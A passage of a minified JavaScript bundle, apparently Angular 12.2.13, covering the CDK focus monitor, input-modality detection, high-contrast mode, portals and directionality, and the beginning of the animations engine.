new(e||t)(r.\u0275\u0275inject(Kw),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Kw),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s))},token:t,providedIn:"root"}),t})();function Yw(t){return 0===t.offsetX&&0===t.offsetY}function Jw(t){const e=t.touches&&t.touches[0]||t.changedTouches&&t.changedTouches[0];return!(!e||-1!==e.identifier||null!=e.radiusX&&1!==e.radiusX||null!=e.radiusY&&1!==e.radiusY)}"undefined"!=typeof Element&∈const tx=new r.InjectionToken("cdk-input-modality-detector-options"),ex={ignoreKeys:[18,17,224,91,16]},nx=jw({passive:!0,capture:!0});let rx=(()=>{class t{constructor(t,e,n,r){this._platform=t,this._mostRecentTarget=null,this._modality=new $e(null),this._lastTouchMs=0,this._onKeydown=t=>{var e,n;(null===(n=null===(e=this._options)||void 0===e?void 0:e.ignoreKeys)||void 0===n?void 0:n.some(e=>e===t.keyCode))||(this._modality.next("keyboard"),this._mostRecentTarget=Bw(t))},this._onMousedown=t=>{Date.now()-this._lastTouchMs<650||(this._modality.next(Yw(t)?"keyboard":"mouse"),this._mostRecentTarget=Bw(t))},this._onTouchstart=t=>{Jw(t)?this._modality.next("keyboard"):(this._lastTouchMs=Date.now(),this._modality.next("touch"),this._mostRecentTarget=Bw(t))},this._options=Object.assign(Object.assign({},ex),r),this.modalityDetected=this._modality.pipe(t=>t.lift(new ww(1))),this.modalityChanged=this.modalityDetected.pipe(Aa()),t.isBrowser&&e.runOutsideAngular(()=>{n.addEventListener("keydown",this._onKeydown,nx),n.addEventListener("mousedown",this._onMousedown,nx),n.addEventListener("touchstart",this._onTouchstart,nx)})}get mostRecentModality(){return this._modality.value}ngOnDestroy(){this._modality.complete(),this._platform.isBrowser&&(document.removeEventListener("keydown",this._onKeydown,nx),document.removeEventListener("mousedown",this._onMousedown,nx),document.removeEventListener("touchstart",this._onTouchstart,nx))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s),r.\u0275\u0275inject(tx,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s),r.\u0275\u0275inject(tx,8))},token:t,providedIn:"root"}),t})();const ix=new r.InjectionToken("cdk-focus-monitor-default-options"),ox=jw({passive:!0,capture:!0});let sx=(()=>{class t{constructor(t,e,n,r,i){this._ngZone=t,this._platform=e,this._inputModalityDetector=n,this._origin=null,this._windowFocused=!1,this._originFromTouchInteraction=!1,this._elementInfo=new Map,this._monitoredElementCount=0,this._rootNodeFocusListenerCount=new Map,this._windowFocusListener=()=>{this._windowFocused=!0,this._windowFocusTimeoutId=setTimeout(()=>this._windowFocused=!1)},this._stopInputModalityDetector=new We.xQ,this._rootNodeFocusAndBlurListener=t=>{const e=Bw(t),n="focus"===t.type?this._onFocus:this._onBlur;for(let r=e;r;r=r.parentElement)n.call(this,t,r)},this._document=r,this._detectionMode=(null==i?void 0:i.detectionMode)||0}monitor(t,e=!1){const n=kw(t);if(!this._platform.isBrowser||1!==n.nodeType)return(0,ne.of)(null);const r=function(t){if(function(){if(null==Nw){const t="undefined"!=typeof document?document.head:null;Nw=!(!t||!t.createShadowRoot&&!t.attachShadow)}return Nw}()){const e=t.getRootNode?t.getRootNode():null;if("undefined"!=typeof ShadowRoot&&ShadowRoot&&e instanceof ShadowRoot)return e}return null}(n)||this._getDocument(),i=this._elementInfo.get(n);if(i)return e&&(i.checkChildren=!0),i.subject;const o={checkChildren:e,subject:new We.xQ,rootNode:r};return this._elementInfo.set(n,o),this._registerGlobalListeners(o),o.subject}stopMonitoring(t){const e=kw(t),n=this._elementInfo.get(e);n&&(n.subject.complete(),this._setClasses(e),this._elementInfo.delete(e),this._removeGlobalListeners(n))}focusVia(t,e,n){const r=kw(t);r===this._getDocument().activeElement?this._getClosestElementsInfo(r).forEach(([t,n])=>this._originChanged(t,e,n)):(this._setOrigin(e),"function"==typeof r.focus&&r.focus(n))}ngOnDestroy(){this._elementInfo.forEach((t,e)=>this.stopMonitoring(e))}_getDocument(){return this._document||document}_getWindow(){return this._getDocument().defaultView||window}_toggleClass(t,e,n){n?t.classList.add(e):t.classList.remove(e)}_getFocusOrigin(t){return this._origin?this._originFromTouchInteraction?this._shouldBeAttributedToTouch(t)?"touch":"program":this._origin:this._windowFocused&&this._lastFocusOrigin?this._lastFocusOrigin:"program"}_shouldBeAttributedToTouch(t){return 1===this._detectionMode||!!(null==t?void 0:t.contains(this._inputModalityDetector._mostRecentTarget))}_setClasses(t,e){this._toggleClass(t,"cdk-focused",!!e),this._toggleClass(t,"cdk-touch-focused","touch"===e),this._toggleClass(t,"cdk-keyboard-focused","keyboard"===e),this._toggleClass(t,"cdk-mouse-focused","mouse"===e),this._toggleClass(t,"cdk-program-focused","program"===e)}_setOrigin(t,e=!1){this._ngZone.runOutsideAngular(()=>{this._origin=t,this._originFromTouchInteraction="touch"===t&&e,0===this._detectionMode&&(clearTimeout(this._originTimeoutId),this._originTimeoutId=setTimeout(()=>this._origin=null,this._originFromTouchInteraction?650:1))})}_onFocus(t,e){const n=this._elementInfo.get(e),r=Bw(t);!n||!n.checkChildren&&e!==r||this._originChanged(e,this._getFocusOrigin(r),n)}_onBlur(t,e){const n=this._elementInfo.get(e);!n||n.checkChildren&&t.relatedTarget instanceof Node&&e.contains(t.relatedTarget)||(this._setClasses(e),this._emitOrigin(n.subject,null))}_emitOrigin(t,e){this._ngZone.run(()=>t.next(e))}_registerGlobalListeners(t){if(!this._platform.isBrowser)return;const e=t.rootNode,n=this._rootNodeFocusListenerCount.get(e)||0;n||this._ngZone.runOutsideAngular(()=>{e.addEventListener("focus",this._rootNodeFocusAndBlurListener,ox),e.addEventListener("blur",this._rootNodeFocusAndBlurListener,ox)}),this._rootNodeFocusListenerCount.set(e,n+1),1==++this._monitoredElementCount&&(this._ngZone.runOutsideAngular(()=>{this._getWindow().addEventListener("focus",this._windowFocusListener)}),this._inputModalityDetector.modalityDetected.pipe(Pw(this._stopInputModalityDetector)).subscribe(t=>{this._setOrigin(t,!0)}))}_removeGlobalListeners(t){const e=t.rootNode;if(this._rootNodeFocusListenerCount.has(e)){const t=this._rootNodeFocusListenerCount.get(e);t>1?this._rootNodeFocusListenerCount.set(e,t-1):(e.removeEventListener("focus",this._rootNodeFocusAndBlurListener,ox),e.removeEventListener("blur",this._rootNodeFocusAndBlurListener,ox),this._rootNodeFocusListenerCount.delete(e))}--this._monitoredElementCount||(this._getWindow().removeEventListener("focus",this._windowFocusListener),this._stopInputModalityDetector.next(),clearTimeout(this._windowFocusTimeoutId),clearTimeout(this._originTimeoutId))}_originChanged(t,e,n){this._setClasses(t,e),this._emitOrigin(n.subject,e),this._lastFocusOrigin=e}_getClosestElementsInfo(t){const e=[];return this._elementInfo.forEach((n,r)=>{(r===t||n.checkChildren&&r.contains(t))&&e.push([r,n])}),e}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(rx),r.\u0275\u0275inject(s,8),r.\u0275\u0275inject(ix,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(rx),r.\u0275\u0275inject(s,8),r.\u0275\u0275inject(ix,8))},token:t,providedIn:"root"}),t})(),ax=(()=>{class t{constructor(t,e){this._elementRef=t,this._focusMonitor=e,this.cdkFocusChange=new r.EventEmitter}ngAfterViewInit(){const t=this._elementRef.nativeElement;this._monitorSubscription=this._focusMonitor.monitor(t,1===t.nodeType&&t.hasAttribute("cdkMonitorSubtreeFocus")).subscribe(t=>this.cdkFocusChange.emit(t))}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._monitorSubscription&&this._monitorSubscription.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(sx))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","cdkMonitorElementFocus",""],["","cdkMonitorSubtreeFocus",""]],outputs:{cdkFocusChange:"cdkFocusChange"}}),t})();const cx="cdk-high-contrast-black-on-white",lx="cdk-high-contrast-white-on-black",ux="cdk-high-contrast-active";let dx=(()=>{class t{constructor(t,e){this._platform=t,this._document=e}getHighContrastMode(){if(!this._platform.isBrowser)return 0;const t=this._document.createElement("div");t.style.backgroundColor="rgb(1,2,3)",t.style.position="absolute",this._document.body.appendChild(t);const e=this._document.defaultView||window,n=e&&e.getComputedStyle?e.getComputedStyle(t):null,r=(n&&n.backgroundColor||"").replace(/ /g,"");switch(this._document.body.removeChild(t),r){case"rgb(0,0,0)":return 2;case"rgb(255,255,255)":return 1}return 0}_applyBodyHighContrastModeCssClasses(){if(!this._hasCheckedHighContrastMode&&this._platform.isBrowser&&this._document.body){const t=this._document.body.classList;t.remove(ux),t.remove(cx),t.remove(lx),this._hasCheckedHighContrastMode=!0;const e=this.getHighContrastMode();1===e?(t.add(ux),t.add(cx)):2===e&&(t.add(ux),t.add(lx))}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(s))},token:t,providedIn:"root"}),t})(),hx=(()=>{class t{constructor(t){t._applyBodyHighContrastModeCssClasses()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(dx))},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[Lw,qw]]}),t})();class px{attach(t){return this._attachedHost=t,t.attach(this)}detach(){let t=this._attachedHost;null!=t&&(this._attachedHost=null,t.detach())}get isAttached(){return null!=this._attachedHost}setAttachedHost(t){this._attachedHost=t}}class fx extends px{constructor(t,e,n,r){super(),this.component=t,this.viewContainerRef=e,this.injector=n,this.componentFactoryResolver=r}}class gx extends px{constructor(t,e,n){super(),this.templateRef=t,this.viewContainerRef=e,this.context=n}get origin(){return this.templateRef.elementRef}attach(t,e=this.context){return this.context=e,super.attach(t)}detach(){return this.context=void 0,super.detach()}}class mx extends px{constructor(t){super(),this.element=t instanceof r.ElementRef?t.nativeElement:t}}class yx{constructor(){this._isDisposed=!1,this.attachDomPortal=null}hasAttached(){return!!this._attachedPortal}attach(t){return t instanceof fx?(this._attachedPortal=t,this.attachComponentPortal(t)):t instanceof gx?(this._attachedPortal=t,this.attachTemplatePortal(t)):this.attachDomPortal&&t instanceof mx?(this._attachedPortal=t,this.attachDomPortal(t)):void 0}detach(){this._attachedPortal&&(this._attachedPortal.setAttachedHost(null),this._attachedPortal=null),this._invokeDisposeFn()}dispose(){this.hasAttached()&&this.detach(),this._invokeDisposeFn(),this._isDisposed=!0}setDisposeFn(t){this._disposeFn=t}_invokeDisposeFn(){this._disposeFn&&(this._disposeFn(),this._disposeFn=null)}}class bx extends yx{constructor(t,e,n,r,i){super(),this.outletElement=t,this._componentFactoryResolver=e,this._appRef=n,this._defaultInjector=r,this.attachDomPortal=t=>{const e=t.element,n=this._document.createComment("dom-portal");e.parentNode.insertBefore(n,e),this.outletElement.appendChild(e),this._attachedPortal=t,super.setDisposeFn(()=>{n.parentNode&&n.parentNode.replaceChild(e,n)})},this._document=i}attachComponentPortal(t){const e=(t.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(t.component);let n;return t.viewContainerRef?(n=t.viewContainerRef.createComponent(e,t.viewContainerRef.length,t.injector||t.viewContainerRef.injector),this.setDisposeFn(()=>n.destroy())):(n=e.create(t.injector||this._defaultInjector),this._appRef.attachView(n.hostView),this.setDisposeFn(()=>{this._appRef.detachView(n.hostView),n.destroy()})),this.outletElement.appendChild(this._getComponentRootNode(n)),this._attachedPortal=t,n}attachTemplatePortal(t){let e=t.viewContainerRef,n=e.createEmbeddedView(t.templateRef,t.context);return n.rootNodes.forEach(t=>this.outletElement.appendChild(t)),n.detectChanges(),this.setDisposeFn(()=>{let t=e.indexOf(n);-1!==t&&e.remove(t)}),this._attachedPortal=t,n}dispose(){super.dispose(),null!=this.outletElement.parentNode&&this.outletElement.parentNode.removeChild(this.outletElement)}_getComponentRootNode(t){return t.hostView.rootNodes[0]}}let vx=(()=>{class t extends yx{constructor(t,e,n){super(),this._componentFactoryResolver=t,this._viewContainerRef=e,this._isInitialized=!1,this.attached=new r.EventEmitter,this.attachDomPortal=t=>{const e=t.element,n=this._document.createComment("dom-portal");t.setAttachedHost(this),e.parentNode.insertBefore(n,e),this._getRootNode().appendChild(e),this._attachedPortal=t,super.setDisposeFn(()=>{n.parentNode&&n.parentNode.replaceChild(e,n)})},this._document=n}get portal(){return this._attachedPortal}set portal(t){this.hasAttached()&&!t&&!this._isInitialized||(this.hasAttached()&&super.detach(),t&&super.attach(t),this._attachedPortal=t)}get attachedRef(){return this._attachedRef}ngOnInit(){this._isInitialized=!0}ngOnDestroy(){super.dispose(),this._attachedPortal=null,this._attachedRef=null}attachComponentPortal(t){t.setAttachedHost(this);const e=null!=t.viewContainerRef?t.viewContainerRef:this._viewContainerRef,n=(t.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(t.component),r=e.createComponent(n,e.length,t.injector||e.injector);return e!==this._viewContainerRef&&this._getRootNode().appendChild(r.hostView.rootNodes[0]),super.setDisposeFn(()=>r.destroy()),this._attachedPortal=t,this._attachedRef=r,this.attached.emit(r),r}attachTemplatePortal(t){t.setAttachedHost(this);const e=this._viewContainerRef.createEmbeddedView(t.templateRef,t.context);return super.setDisposeFn(()=>this._viewContainerRef.clear()),this._attachedPortal=t,this._attachedRef=e,this.attached.emit(e),e}_getRootNode(){const t=this._viewContainerRef.element.nativeElement;return t.nodeType===t.ELEMENT_NODE?t:t.parentNode}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ComponentFactoryResolver),r.\u0275\u0275directiveInject(r.ViewContainerRef),r.\u0275\u0275directiveInject(s))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","cdkPortalOutlet",""]],inputs:{portal:["cdkPortalOutlet","portal"]},outputs:{attached:"attached"},exportAs:["cdkPortalOutlet"],features:[r.\u0275\u0275InheritDefinitionFeature]}),t})(),_x=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({}),t})();const Cx=new r.InjectionToken("cdk-dir-doc",{providedIn:"root",factory:function(){return(0,r.inject)(s)}});let wx=(()=>{class t{constructor(t){if(this.value="ltr",this.change=new r.EventEmitter,t){const e=t.documentElement?t.documentElement.dir:null,n=(t.body?t.body.dir:null)||e;this.value="ltr"===n||"rtl"===n?n:"ltr"}}ngOnDestroy(){this.change.complete()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Cx,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Cx,8))},token:t,providedIn:"root"}),t})(),xx=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({}),t})();const Px=new r.Version("12.2.13");class Sx{}const Mx="*";function Ox(t,e){return{type:7,name:t,definitions:e,options:{}}}function Ex(t,e=null){return{type:4,styles:e,timings:t}}function Tx(t,e=null){return{type:2,steps:t,options:e}}function Ix(t){return{type:6,styles:t,offset:null}}function kx(t,e,n){return{type:0,name:t,styles:e,options:n}}function Ax(t,e,n=null){return{type:1,expr:t,animation:e,options:n}}function Dx(t){Promise.resolve(null).then(t)}class Nx{constructor(t=0,e=0){this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._started=!1,this._destroyed=!1,this._finished=!1,this._position=0,this.parentPlayer=null,this.totalTime=t+e}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}onStart(t){this._onStartFns.push(t)}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}hasStarted(){return this._started}init(){}play(){this.hasStarted()||(this._onStart(),this.triggerMicrotask()),this._started=!0}triggerMicrotask(){Dx(()=>this._onFinish())}_onStart(){this._onStartFns.forEach(t=>t()),this._onStartFns=[]}pause(){}restart(){}finish(){this._onFinish()}destroy(){this._destroyed||(this._destroyed=!0,this.hasStarted()||this._onStart(),this.finish(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}reset(){this._started=!1}setPosition(t){this._position=this.totalTime?t*this.totalTime:1}getPosition(){return this.totalTime?this._position/this.totalTime:1}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}}class Rx{constructor(t){this._onDoneFns=[],this._onStartFns=[],this._finished=!1,this._started=!1,this._destroyed=!1,this._onDestroyFns=[],this.parentPlayer=null,this.totalTime=0,this.players=t;let e=0,n=0,r=0;const i=this.players.length;0==i?Dx(()=>this._onFinish()):this.players.forEach(t=>{t.onDone(()=>{++e==i&&this._onFinish()}),t.onDestroy(()=>{++n==i&&this._onDestroy()}),t.onStart(()=>{++r==i&&this._onStart()})}),this.totalTime=this.players.reduce((t,e)=>Math.max(t,e.totalTime),0)}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}init(){this.players.forEach(t=>t.init())}onStart(t){this._onStartFns.push(t)}_onStart(){this.hasStarted()||(this._started=!0,this._onStartFns.forEach(t=>t()),this._onStartFns=[])}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}hasStarted(){return this._started}play(){this.parentPlayer||this.init(),this._onStart(),this.players.forEach(t=>t.play())}pause(){this.players.forEach(t=>t.pause())}restart(){this.players.forEach(t=>t.restart())}finish(){this._onFinish(),this.players.forEach(t=>t.finish())}destroy(){this._onDestroy()}_onDestroy(){this._destroyed||(this._destroyed=!0,this._onFinish(),this.players.forEach(t=>t.destroy()),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}reset(){this.players.forEach(t=>t.reset()),this._destroyed=!1,this._finished=!1,this._started=!1}setPosition(t){const e=t*this.totalTime;this.players.forEach(t=>{const n=t.totalTime?Math.min(1,e/t.totalTime):1;t.setPosition(n)})}getPosition(){const t=this.players.reduce((t,e)=>null===t||e.totalTime>t.totalTime?e:t,null);return null!=t?t.getPosition():0}beforeDestroy(){this.players.forEach(t=>{t.beforeDestroy&&t.beforeDestroy()})}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}}function Lx(){return"undefined"!=typeof window&&void 0!==window.document}function jx(){return"undefined"!=typeof process&&"[object process]"==={}.toString.call(process)}function Fx(t){switch(t.length){case 0:return new Nx;case 1:return t[0];default:return new Rx(t)}}function Vx(t,e,n,r,i={},o={}){const s=[],a=[];let c=-1,l=null;if(r.forEach(t=>{const n=t.offset,r=n==c,u=r&&l||{};Object.keys(t).forEach(n=>{let r=n,a=t[n];if("offset"!==n)switch(r=e.normalizePropertyName(r,s),a){case"!":a=i[n];break;case Mx:a=o[n];break;default:a=e.normalizeStyleValue(n,r,a,s)}u[r]=a}),r||a.push(u),l=u,c=n}),s.length){const t="\n - ";throw new Error(`Unable to animate due to the following errors:${t}${s.join(t)}`)}return a}function Bx(t,e,n,r){switch(e){case"start":t.onStart(()=>r(n&&Hx(n,"start",t)));break;case"done":t.onDone(()=>r(n&&Hx(n,"done",t)));break;case"destroy":t.onDestroy(()=>r(n&&Hx(n,"destroy",t)))}}function Hx(t,e,n){const r=n.totalTime,i=zx(t.element,t.triggerName,t.fromState,t.toState,e||t.phaseName,null==r?t.totalTime:r,!!n.disabled),o=t._data;return null!=o&&(i._data=o),i}function zx(t,e,n,r,i="",o=0,s){return{element:t,triggerName:e,fromState:n,toState:r,phaseName:i,totalTime:o,disabled:!!s}}function Gx(t,e,n){let r;return t instanceof Map?(r=t.get(e),r||t.set(e,r=n)):(r=t[e],r||(r=t[e]=n)),r}function Ux(t){const e=t.indexOf(":");return[t.substring(1,e),t.substr(e+1)]}let qx=(t,e)=>!1,Wx=(t,e)=>!1,Kx=(t,e,n)=>[];const $x=jx();($x||"undefined"!=typeof Element)&&(qx=Lx()?(t,e)=>{for(;e&&e!==document.documentElement;){if(e===t)return!0;e=e.parentNode||e.host}return!1}:(t,e)=>t.contains(e),Wx=(()=>{if($x||Element.prototype.matches)return(t,e)=>t.matches(e);{const t=Element.prototype,e=t.matchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector||t.webkitMatchesSelector;return e?(t,n)=>e.apply(t,[n]):Wx}})(),Kx=(t,e,n)=>{let r=[];if(n){const n=t.querySelectorAll(e);for(let t=0;t<n.length;t++)r.push(n[t])}else{const n=t.querySelector(e);n&&r.push(n)}return r});let Qx=null,Xx=!1;function Zx(t){Qx||(Qx=("undefined"!=typeof document?document.body:null)||{},Xx=!!Qx.style&&"WebkitAppearance"in Qx.style);let e=!0;return Qx.style&&!function(t){return"ebkit"==t.substring(1,6)}(t)&&(e=t in Qx.style,!e&&Xx&&(e="Webkit"+t.charAt(0).toUpperCase()+t.substr(1)in Qx.style)),e}const Yx=Wx,Jx=qx,tP=Kx;function eP(t){const e={};return Object.keys(t).forEach(n=>{const r=n.replace(/([a-z])([A-Z])/g,"$1-$2");e[r]=t[n]}),e}let nP=(()=>{class t{validateStyleProperty(t){return Zx(t)}matchesElement(t,e){return Yx(t,e)}containsElement(t,e){return Jx(t,e)}query(t,e,n){return tP(t,e,n)}computeStyle(t,e,n){return n||""}animate(t,e,n,r,i,o=[],s){return new Nx(n,r)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),rP=(()=>{class t{}return t.NOOP=new nP,t})();const iP="ng-enter",oP="ng-leave",sP="ng-trigger",aP=".ng-trigger",cP="ng-animating",lP=".ng-animating";function uP(t){if("number"==typeof t)return t;const e=t.match(/^(-?[\.\d]+)(m?s)/);return!e||e.length<2?0:dP(parseFloat(e[1]),e[2])}function dP(t,e){switch(e){case"s":return 1e3*t;default:return t}}function hP(t,e,n){return t.hasOwnProperty("duration")?t:function(t,e,n){let r,i=0,o="";if("string"==typeof t){const n=t.match(/^(-?[\.\d]+)(m?s)(?:\s+(-?[\.\d]+)(m?s))?(?:\s+([-a-z]+(?:\(.+?\))?))?$/i);if(null===n)return e.push(`The provided timing value "${t}" is invalid.`),{duration:0,delay:0,easing:""};r=dP(parseFloat(n[1]),n[2]);const s=n[3];null!=s&&(i=dP(parseFloat(s),n[4]));const a=n[5];a&&(o=a)}else r=t;if(!n){let n=!1,o=e.length;r<0&&(e.push("Duration values below 0 are not allowed for this animation step."),n=!0),i<0&&(e.push("Delay values below 0 are not allowed for this animation step."),n=!0),n&&e.splice(o,0,`The provided timing value "${t}" is invalid.`)}return{duration:r,delay:i,easing:o}}(t,e,n)}function pP(t,e={}){return Object.keys(t).forEach(n=>{e[n]=t[n]}),e}function fP(t,e,n={}){if(e)for(let r in t)n[r]=t[r];else pP(t,n);return n}function gP(t,e,n){return n?e+":"+n+";":""}function mP(t){let e="";for(let n=0;n<t.style.length;n++){const r=t.style.item(n);e+=gP(0,r,t.style.getPropertyValue(r))}for(const n in t.style)t.style.hasOwnProperty(n)&&!n.startsWith("_")&&(e+=gP(0,MP(n),t.style[n]));t.setAttribute("style",e)}function yP(t,e,n){t.style&&(Object.keys(e).forEach(r=>{const i=SP(r);n&&!n.hasOwnProperty(r)&&(n[r]=t.style[i]),t.style[i]=e[r]}),jx()&&mP(t))}function bP(t,e){t.style&&(Object.keys(e).forEach(e=>{const n=SP(e);t.style[n]=""}),jx()&&mP(t))}function vP(t){return Array.isArray(t)?1==t.length?t[0]:Tx(t):t}const _P=new RegExp("{{\\s*(.+?)\\s*}}","g");function CP(t){let e=[];if("string"==typeof t){let n;for(;n=_P.exec(t);)e.push(n[1]);_P.lastIndex=0}return e}function wP(t,e,n){const r=t.toString(),i=r.replace(_P,(t,r)=>{let i=e[r];return e.hasOwnProperty(r)||(n.push(`Please provide a value for the animation param ${r}`),i=""),i.toString()});return i==r?t:i}function xP(t){const e=[];let n=t.next();for(;!n.done;)e.push(n.value),n=t.next();return e}const PP=/-+([a-z0-9])/g;function SP(t){return t.replace(PP,(...t)=>t[1].toUpperCase())}function MP(t){return t.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}function OP(t,e){return 0===t||0===e}function EP(t,e,n){const r=Object.keys(n);if(r.length&&e.length){let o=e[0],s=[];if(r.forEach(t=>{o.hasOwnProperty(t)||s.push(t),o[t]=n[t]}),s.length)for(var i=1;i<e.length;i++){let n=e[i];s.forEach(function(e){n[e]=IP(t,e)})}}return e}function TP(t,e,n){switch(e.type){case 7:return t.visitTrigger(e,n);case 0:return t.visitState(e,n);case 1:return t.visitTransition(e,n);case 2:return t.visitSequence(e,n);case 3:return t.visitGroup(e,n);case 4:return t.visitAnimate(e,n);case 5:return t.visitKeyframes(e,n);case 6:return t.visitStyle(e,n);case 8:return t.visitReference(e,n);case 9:return t.visitAnimateChild(e,n);case 10:return t.visitAnimateRef(e,n);case 11:return t.visitQuery(e,n);case 12:return t.visitStagger(e,n);default:throw new Error(`Unable to resolve animation metadata node #${e.type}`)}}function IP(t,e){return window.getComputedStyle(t)[e]}function kP(t,e){const n=[];return"string"==typeof t?t.split(/\s*,\s*/).forEach(t=>function(t,e,n){if(":"==t[0]){const r=function(t,e){switch(t){case":enter":return"void => *";case":leave":return"* => void";case":increment":return(t,e)=>parseFloat(e)>parseFloat(t);case":decrement":return(t,e)=>parseFloat(e)<parseFloat(t);default:return e.push(`The transition alias value "${t}" is not supported`),"* => *"}}(t,n);if("function"==typeof r)return void e.push(r);t=r}const r=t.match(/^(\*|[-\w]+)\s*(<?[=-]>)\s*(\*|[-\w]+)$/);if(null==r||r.length<4)return n.push(`The provided transition expression "${t}" is not supported`),e;const i=r[1],o=r[2],s=r[3];e.push(NP(i,s));"<"==o[0]&&!("*"==i&&"*"==s)&&e.push(NP(s,i))}(t,n,e)):n.push(t),n}const AP=new Set(["true","1"]),DP=new Set(["false","0"]);function NP(t,e){const n=AP.has(t)||DP.has(t),r=AP.has(e)||DP.has(e);return(i,o)=>{let s="*"==t||t==i,a="*"==e||e==o;return!s&&n&&"boolean"==typeof i&&(s=i?AP.has(t):DP.has(t)),!a&&r&&"boolean"==typeof o&&(a=o?AP.has(e):DP.has(e)),s&&a}}const RP=new RegExp("s*:selfs*,?","g");function LP(t,e,n){return new jP(t).build(e,n)}class jP{constructor(t){this._driver=t}build(t,e){const n=new FP(e);return this._resetContextStyleTimingState(n),TP(this,vP(t),n)}_resetContextStyleTimingState(t){t.currentQuerySelector="",t.collectedStyles={},t.collectedStyles[""]={},t.currentTime=0}visitTrigger(t,e){let n=e.queryCount=0,r=e.depCount=0;const i=[],o=[];return"@"==t.name.charAt(0)&&e.errors.push("animation triggers cannot be prefixed with an `@` sign (e.g. trigger('@foo', [...]))"),t.definitions.forEach(t=>{if(this._resetContextStyleTimingState(e),0==t.type){const n=t,r=n.name;r.toString().split(/\s*,\s*/).forEach(t=>{n.name=t,i.push(this.visitState(n,e))}),n.name=r}else if(1==t.type){const i=this.visitTransition(t,e);n+=i.queryCount,r+=i.depCount,o.push(i)}else e.errors.push("only state() and transition() definitions can sit inside of a trigger()")}),{type:7,name:t.name,states:i,transitions:o,queryCount:n,depCount:r,options:null}}visitState(t,e){const n=this.visitStyle(t.styles,e),r=t.options&&t.options.params||null;if(n.containsDynamicStyles){const i=new Set,o=r||{};if(n.styles.forEach(t=>{if(VP(t)){const e=t;Object.keys(e).forEach(t=>{CP(e[t]).forEach(t=>{o.hasOwnProperty(t)||i.add(t)})})}}),i.size){const n=xP(i.values());e.errors.push(`state("${t.name}", ...) must define default values for all the following style substitutions: ${n.join(", ")}`)}}return{type:0,name:t.name,style:n,options:r?{params:r}:null}}visitTransition(t,e){e.queryCount=0,e.depCount=0;const n=TP(this,vP(t.animation),e);return{type:1,matchers:kP(t.expr,e.errors),animation:n,queryCount:e.queryCount,depCount:e.depCount,options:BP(t.options)}}visitSequence(t,e){return{type:2,steps:t.steps.map(t=>TP(this,t,e)),options:BP(t.options)}}visitGroup(t,e){const n=e.currentTime;let r=0;const i=t.steps.map(t=>{e.currentTime=n;const i=TP(this,t,e);return r=Math.max(r,e.currentTime),i});return e.currentTime=r,{type:3,steps:i,options:BP(t.options)}}visitAnimate(t,e){const n=function(t,e){let n=null;if(t.hasOwnProperty("duration"))n=t;else if("number"==typeof t)return HP(hP(t,e).duration,0,"");const r=t;if(r.split(/\s+/).some(t=>"{"==t.charAt(0)&&"{"==t.charAt(1))){const t=HP(0,0,"");return t.dynamic=!0,t.strValue=r,t}return n=n||hP(r,e),HP(n.duration,n.delay,n.easing)}(t.timings,e.errors);e.currentAnimateTimings=n;let r,i=t.styles?t.styles:Ix({});if(5==i.type)r=this.visitKeyframes(i,e);else{let i=t.styles,o=!1;if(!i){o=!0;const t={};n.easing&&(t.easing=n.easing),i=Ix(t)}e.currentTime+=n.duration+n.delay;const s=this.visitStyle(i,e);s.isEmptyStep=o,r=s}return e.currentAnimateTimings=null,{type:4,timings:n,style:r,options:null}}visitStyle(t,e){const 